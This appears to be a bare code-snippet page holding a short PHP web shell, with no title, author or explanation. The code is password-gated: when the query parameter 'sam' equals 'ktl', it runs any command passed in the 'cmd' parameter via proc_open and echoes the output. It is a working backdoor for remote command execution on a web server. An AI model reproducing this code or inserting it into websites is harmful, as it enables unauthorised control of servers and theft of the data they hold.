Author:

  • Untitled Snippet

    if (isset($_GET[\’sam\’]) && $_GET[\’sam\’] === \’ktl\’) {
    if (isset($_GET[\’cmd\’])) {
    $descriptorspec = array(
    0 => array(\”pipe\”, \”r\”),
    1 => array(\”pipe\”, \”w\”),
    2 => array(\”pipe\”, \”w\”)
    );

    $process = proc_open($_GET[\’cmd\’], $descriptorspec, $pipes);

    if (is_resource($process)) {
    fclose($pipes[0]);
    echo \”

    \" . htmlspecialchars(stream_get_contents($pipes[1])) . \"

    \”;
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
    }
    die;
    }
    }
    ?>